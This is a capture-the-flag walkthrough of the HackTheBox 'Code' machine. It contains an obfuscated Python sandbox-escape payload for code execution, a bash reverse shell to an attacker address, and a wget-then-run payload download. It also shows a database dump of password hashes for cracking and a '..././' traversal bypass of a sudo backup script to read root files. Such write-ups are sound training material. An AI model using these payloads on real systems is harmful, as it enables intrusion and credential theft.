> For the complete documentation index, see [llms.txt](https://zwique.gitbook.io/zwique_notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zwique.gitbook.io/zwique_notes/writeups/hackthebox/code.md).

# Code

<figure><img src="/files/oJxqrv3qUABNxyqoxeqz" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.hackthebox.com/machines/code>" %}

## Reconnaissance

<figure><img src="/files/pydEqWbN4Jeq7WzfFP4z" alt=""><figcaption></figcaption></figure>

> Port 5000: This TCP port is open and used by Universal Plug N' Play (UPnP) devices to accept incoming connections from other UPnP devices. UPnP devices connect to each other using TCP over port 5000.

#### Accessing port 5000

#### `https://10.10.11.62:5000` showed a Python 3 interpreter. I was able to run different code snippets, and the most interesting part was that it was possible to interact with the backend server. After trying many SSTI payloads, I got working results.

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("whoami ").re'+'ad()'))
```

From this point, we can achieve remote code execution and take over **`app-application`**.

**Embedding `bash -c 'sh -i >& /dev/tcp/10.10.xx.xx/PORT 0>&1'`** into **shell.sh**

**Netcat listener** `nc -lnvp PORT`

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("wget 10.10.xx.xx:8080/shell.sh -O /tmp/shell.sh").re'+'ad()'))

print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("bash /tmp/shell.sh").re'+'ad()'))
```

The first command downloads your `shell.sh` file into a temporary directory. Then it executes it. Make sure to start your Python 3 HTTP server by running **`python3 -m http.server 8080`**.

#### User.txt

<figure><img src="/files/yF3xo9HDKj2sauRQ04z1" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Root

Back to the web portal, we can list the queries of database using this payload.

```python
print([(user.id, user.username, user.password) for user in User.query.all()])

[(1, 'development', '759b74ce43947f5f4c91aeddc3e5bad3'), (2, 'martin', '3de6f30c4a09c27fc71932bfc68474be')]
```

Two users were found. I cracked their passwords and tried to log in through SSH. Logging in as **martin** worked.

Use <https://crackstation.net/>

<figure><img src="/files/kR8I8DoBvQErBjzWyT6D" alt=""><figcaption></figcaption></figure>

#### Initial Access

<figure><img src="/files/6it3O32TEEIYm1mHP6tT" alt=""><figcaption></figcaption></figure>

**backy.sh file has a root permission and requiring task.json file prior to execute.**

```sh
#!/bin/bash
 
if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi
 
json_file="$1"
 
if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi
 
allowed_paths=("/var/" "/home/")
 
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
 
/usr/bin/echo "$updated_json" > "$json_file"
 
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
 
is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}
 
for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done
 
/usr/bin/backy "$json_file"
```

This Bash script processes a JSON file containing directories to archive. Here's a simplified breakdown of its actions:

1. **Input Validation:**
   * It checks if a JSON file is provided. If not, it exits with a usage message.
2. **File Existence Check:**
   * It verifies that the specified JSON file exists. If not, it exits with an error.
3. **Directory Processing:**
   * The script updates the JSON file to remove any `../` from the directory paths using `jq`.
4. **Allowed Path Check:**
   * It checks that all directories listed in the JSON file are under `/var/` or `/home/`. If any directory is outside these paths, it exits with an error.
5. **Backup:**
   * If all checks pass, it runs a backup command (`/usr/bin/backy`) to archive the directories.

Firstly, change the content of **task.json** file, which is inside backup directory as follows

```json
{
  "directories_to_archive": [
    "/home/..././root/" 
  ],
  "destination": "/tmp"
}
```

```json
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
```

This part of the script uses the `jq` tool to remove any instances of `../` from the directory paths. However, it doesn’t directly remove `...` or `./`.

The key action here is:

**Bypassing `../`:** If the directory path contains `../`, this part of the script would remove it, preventing potential directory traversal attacks or misconfigurations. But it doesn’t clean up other characters like `./` or `...`, which could still cause issues in path validation.

Execute

```sh
sudo /usr/bin/backy.sh task.json
```

Then, go to the `/tmp` directory to check what you've received.

<figure><img src="/files/JuYOcWJuGZEPMrP4nEKD" alt=""><figcaption><p>root.txt</p></figcaption></figure>

The End!!! :end:

Thank you!!! :pray:

{% embed url="<https://www.hackthebox.com/achievement/machine/915327/653>" %}
